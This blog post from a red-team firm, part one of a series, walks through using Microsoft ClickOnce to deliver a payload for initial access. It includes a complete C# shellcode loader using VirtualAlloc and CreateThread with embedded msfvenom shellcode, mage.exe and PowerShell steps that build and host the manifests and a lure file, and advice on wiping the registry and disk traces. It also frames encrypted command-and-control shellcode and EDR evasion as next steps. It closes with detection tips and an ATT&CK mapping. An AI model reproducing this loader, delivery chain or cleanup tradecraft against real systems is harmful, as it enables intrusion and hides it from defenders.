Back to all posts

Pwning the EDRs for Initial Access PART-1

A detailed series on how to gain successful initial access inside a hardened environment.

Nikhil SrivastavaJanuary 31, 202411 min read
Pwning the EDRs for Initial Access PART-1

Pwning the EDRs for Initial Access : PART-1

This is part 1 of a 2-part series on initial access against modern EDR/AV stacks. Read Part 1 | Part 2.

A detailed series on how to gain successful initial access inside a hardened environment.

TL;DR

  • ClickOnce is a Microsoft deployment technology that runs .NET apps from the web with no admin rights and minimal user friction, an attractive initial access vector.
  • A red teamer can stand up a ClickOnce app with mage.exe, host the manifests on any web server, and have a victim launch the chain via .application or .appref-ms.
  • This Part 1 ships a non-evasive loader: SmartScreen still prompts and Windows Defender still flags the msfvenom shellcode and basic process injection. Part 2 fixes both.
  • Defenders should treat .application / .appref-ms execution and dfsvc.exe-spawned child processes as a high-signal initial-access pattern.

ClickOnce

We can think of ClickOnce as an installer technology that makes it easy for a user to install, update, or upgrade an application.

According to MSDN, ClickOnce primarily helps overcome the following deployment issues:

  1. Difficulties while updating an application. ClickOnce performs deployment based on a manifest file that includes version information about the underlying packages. Only the affected packages are automatically updated during installation.

  2. Component isolation. With Windows by-design installer deployments, shared resources become significant for application stability. Since each ClickOnce application has its own self-contained resource set, it sidesteps conflicts caused by resource sharing.

  3. Security permissions. A Windows by-design installer requires administrative privileges for an application to be installed inside the system. ClickOnce does not need such a requirement, due to its by-design isolated resources and permissions. (Red team, can you hear me?)

  4. Each ClickOnce application is installed to and run from a secure per-user, per-application cache.

Let's take a closer look at the file format of ClickOnce applications before delving deeper into their features and deployment process.

ClickOnce Application and its Deployment Architecture

A ClickOnce application is any Windows Presentation Foundation (.xbap), Windows Forms (.exe), Console application (.exe), or Office solution (.dll) published using ClickOnce technology.

  • A ClickOnce application can be installed on an end user's computer and run locally even when the computer is offline, or it can be run in an online-only mode without permanently installing anything on the end user's computer.

The ClickOnce deployment architecture depends on two XML manifest files: an application manifest and a deployment manifest.

These files are responsible for letting the ClickOnce installer know:

  1. Where the ClickOnce applications are installed from.

  2. How and when these packages are updated.

Application Manifest (*.exe.manifest): The application manifest describes the application itself. This includes assemblies, their dependencies, files that make up the application, required permissions, and the location where updates will be available. In simpler words, this .exe.manifest file contains a mapping of files (exe, dlls, others) that helps the ClickOnce installer find all necessary packages, their names, sizes, and defined prerequisites such as calling up the CLR.

For a red team, the application manifest is the XML file built and hosted on the payload hosting server, called by the ClickOnce deployment. All files listed inside the manifest will then be fetched from the web server during deployment.

Deployment Manifest (*.application): The deployment manifest describes how a created ClickOnce application is going to be deployed. This XML manifest file contains:

    1. Installation strategy. This defines how a ClickOnce application has to be deployed inside the target system. Two types:
    • Online-Only Mode (Install="false"): used when programs need to run on the system without actually installing anything. No further updates are possible since packages do not persist on the system.
    • Online or Offline Mode (Install="true"): used when packages must persist inside the system. Further updates and upgrades are possible.

OPSEC Alert

  • Performing a good cleanup, from the perspective of the trails left by each installation strategy.
  • Online-Only Mode leaves fewer footprints, which can be found at these specific locations:
######## Registry
Computer\\HKEY_CURRENT_USER\\SOFTWARE\\Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Deployment\\SideBySide\\2.0\\Components\\<package_name> [**Cleanup Required!** ]

######## On-disk
%temp%\\Deployment  # No left-over
"%LOCALAPPDATA%\\Apps\\2.0\\<randomstring>"  #<Package-name>.exe.config will be left over
#Most of the files automatically gets removed after running once



######## Online or Offline Mode** creates far more changes in registry values,Start Menu,Control Panel Programs and files are permanently stored in:
#// Registry
HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall<key> #Cleanup Required!
Computer\\HKEY_CURRENT_USER\\SOFTWARE\\Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Deployment\\SideBySide\\2.0\\Components\\<package_name> # Cleanup Required!

#// On disk
"%LOCALAPPDATA%\\Apps\\2.0\\<randomstring>" Folder. # All Application files are stored here, Cleaup Required!
%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\<Application Name>\\<Application files>.appref-ms

Automating the process of ClickOnce creation

Creating a sample ClickOnce application: You can use Visual Studio for creating a ClickOnce application. The complete process is documented by Microsoft.

Deploy a .NET Windows Desktop app with ClickOnce - Visual Studio (Windows) MicrosoftLearn

For this demonstration, a tool called mage.exe (Manifest Generation and Editing Tool) has been used to create the application and deployment manifests. Steps to reproduce:

  • Step 1: Download and install Visual Studio above version 16.8.
  • Step 2: Create a sample .NET project and compile it with csc.exe (using v2.0.5072).
%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe /platform:anycpu /o+ /r:System.EnterpriseServices.dll /r:System.Management.Automation.dll /r:Microsoft.Build.Framework.dll /target:winexe /out:"output\\payload.exe" "payload.cs"
// sample code for payload.cs ,we will improve this when we will be loading up the command and control shellcode in Part 2 ;)

using System;
using System.Runtime.InteropServices;
namespace loader {
      class Program {
            [DllImport("kernel32.dll")]
            public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, UInt32 flAllocationType, UInt32 flProtect);

            [DllImport("kernel32.dll")]
            private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

            [DllImport("kernel32.dll")]
            private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);


            static void Main(string\[\] args) {
                  byte\[\] buf = new byte\[276\] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
                  0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
                  0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
                  0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
                  0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
                  0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                  0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
                  0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
                  0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
                  0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
                  0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
                  0x63,0x2e,0x65,0x78,0x65,0x00};

                  int shellcode_size = buf.Length;
                  IntPtr init = VirtualAlloc(IntPtr.Zero, shellcode_size, (UInt32)TYPE.MEM_COMMIT, (UInt32)PROTECTION.PAGE_EXECUTE_READWRITE);

                  Marshal.Copy(buf, 0, init, shellcode_size);
                  IntPtr hThread = IntPtr.Zero;

                  UInt32 threadId = 0;=
                  IntPtr pinfo = IntPtr.Zero;

                  hThread = CreateThread(0, 0, (UInt32)init, pinfo, 0, ref threadId);
                  WaitForSingleObject(hThread, 0xFFFFFFFF);
            }

            public enum TYPE {
                  MEM_COMMIT = 0x00001000
            }

            public enum PROTECTION {
                  PAGE_EXECUTE_READWRITE = 0x40
            }
      }
}
  • Step 3: Create an application manifest file using mage.exe.
mage.exe -New Application -FromDirectory .\\payload\\ -Version 1.0.0.0

  • Step 4: Create a deployment manifest (ClickOnceSample.application) using mage.exe (Offline or Online Mode "ON").

    1. Just turn -Install false for online-only. (More stealthy, but appref-ms will not work since it requires -Install true always.)

Note: copy application.exe.manifest and ClickOnceSample.application to the output directory where payload.exe has been written.

mage.exe -New Deployment -Processor MSIL -Install true -name "Clickonce-Test-POC" -Publisher "sample" -ProviderUrl "http://labs.pivotsec.in:8080/ClickOnceSample.application" -AppManifest .\\application.exe.manifest -ToFile ClickOnceSample.application"
  • Step 5: Host all the files on a web server. A simple Python HTTP server works.
python -m http.server 8080 -d ./output/

Now that we have a ClickOnceSample.application ready to be served, let's look at how the client/victim can deploy this.

OPSEC: In Step 2, we created a simple loader which is unsigned. When called by our ClickOnce application, it will prompt the user with SmartScreen and trigger the EDR in place. We are going to bypass both of them in Part 2. Similar SmartScreen reputation issues are explored in our BYOR writeup.

  • Step 6: Create an appref-ms (a UTF-16 LE encoded .lnk-like file) that points to the deployment manifest.

You can use the PowerShell script below to produce an appref-ms of your choice.

####### Create-appref_ms.ps1

$filePath = "ClickOnceSample.appref-ms"
$content = "http://labs.pivotsec.in:8080/ClickOnceSample.application#payload.exe, Culture=neutral, PublicKeyToken=0000000000000000, processorArchitecture=msil"

$encoding = [System.Text.Encoding]::Unicode
[System.IO.File]::WriteAllText($filePath, $content, $encoding)

Finally, we have the ClickOnceSample.appref-ms file, which can be downloaded on the client side to initiate the ClickOnce deployment.

REM ClickOnceSample.appref-ms
REM This file has to be saved as UTF-16 LE
http://labs.pivotsec.in:8080/ClickOnceSample.application#payload.exe, Culture=neutral, PublicKeyToken=0000000000000000, processorArchitecture=msil

Now that we have the required manifest files for ClickOnce deployment, let's look at how the installation will look on the client/victim's browser.

Web-based deployment of ClickOnce Application

A ClickOnce application can be installed on an end user's computer and run locally even when the computer is offline, or it can be run in an online-only mode without permanently installing anything on the end user's computer.

A user can install a ClickOnce application via:

  1. Going to a URL pointing to a .application file within the Windows default web browser (Microsoft Edge).

The browser automatically opens the .application ClickOnce installer.

  1. Downloading an .application file and running it for "Online" or "Online or Offline" deployment.

Initiating ClickOnce installation by downloading and clicking on an .application file.

  • Download and install a ClickOnce application using .appref-ms.

User performing .appref-ms based installation.

  • OPSEC Alert: the user gets a security warning when clicking on the downloaded .appref-ms file. This increases the number of clicks the victim must perform before a successful infection. ​ User presented with a security warning.
    • Once the user clicks "Open", an installation window appears similar to what we have already seen with the .application file.

Red team challenges for a successful initial access and what's next?

Below are some of the challenges that need to be overcome for a successful infection in a red team engagement.

  1. If ClickOnce is not opened in the default Microsoft Edge browser, it requires the victim to download and run the ClickOnce application (.application or .appref-ms) explicitly.

  2. The user is prompted by SmartScreen since the loader code is unsigned. This increases the number of clicks (3 to 4) the user must perform for successful execution. Part 2 significantly drops the clicks required to 2 to 3 max.

  3. In this demonstration the loader has very high detection across several EDRs including Windows Defender. This can be lowered if we modify our loader with the following changes:

    • The payload used here is a simple PIC (Position-Independent Code / shellcode) generated using msfvenom that pops a calculator on execution. In an engagement, the PIC has to be a shellcode of a command and control server that has to be encoded or encrypted, while making sure the overall entropy of our loader remains as close to a non-malicious binary as possible. (Hint: find me in Part 2.)

    • A simple process injection technique is used here, which can be easily hooked by EDRs for inspection. Userland unhooking / bypass techniques are required. APIs such as CreateThread will be monitored by EDRs in kernel land via ETW telemetry, which might trigger YARA-based memory scans for known patterns. AV-side evasion that complements this loader work is covered in our Zombie Bypass post.

What's next?

To solve the challenges faced in this demonstration, P.I.V.O.T labs will release another blog soon, covering topics for overcoming several real-world challenges faced by red teams while pwning EDRs and gaining initial access.

Topics covered in PART-2:

  • ClickOnce bypass strategies.
  • Creating a stealthy C# loader.
  • .NET backdooring.
  • ClickOnce vs SmartScreen / Windows Defender / EDR(s).

Defender Takeaways

  • Hunt for dfsvc.exe (the ClickOnce host) spawning unfamiliar child processes, especially .NET binaries dropped under %LOCALAPPDATA%\Apps\2.0\.
  • Alert on .application and .appref-ms files written to user download paths and subsequently launched, both are rare in most enterprises and usually mean ClickOnce.
  • Review the registry locations listed under the OPSEC section above as detection artifacts: HKCU\Software\Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\ is a durable forensic trail.
  • Keep SmartScreen enabled organization-wide. The Part 1 chain still leans on the SmartScreen click as the only friction left.
  • For high-risk users, consider disabling ClickOnce via Group Policy if your environment does not depend on it.

MITRE ATT&CK Mapping

TechniqueNameWhere it appears in this post
T1218System Binary Proxy ExecutionClickOnce / dfsvc.exe driving .NET payload execution
T1059Command and Scripting InterpreterPowerShell used to author the .appref-ms UTF-16 file
T1055Process InjectionThe non-evasive loader uses VirtualAlloc + CreateThread shellcode execution
T1106Native APIDirect calls to kernel32.dll (VirtualAlloc, CreateThread, WaitForSingleObject)

DISCLAIMER: The code and content provided in this blog are intended for educational purposes only. They are provided "as is" without any warranty, expressed or implied, including but not limited to the accuracy, correctness, or suitability for any particular purpose. The author and the platform shall not be held liable for any direct, indirect, incidental, special, exemplary, or consequential damages arising from the use, misuse, or inability to use the code or content. The information provided in this blog is based on the author's personal experience and research, and it may not necessarily reflect the most up-to-date practices or standards. Users are solely responsible for understanding and complying with any applicable laws, regulations, or ethical guidelines related to their use of the provided code and content. Use at your own risk.

Talk to PIVOT

Want this kind of analysis on your stack?

A 30-minute briefing with one of our practice leads. No sales pitch.

Nikhil Srivastava
Written by
Nikhil Srivastava
OSCP | CEO P.I.V.O.T Security
Share

More from PIVOT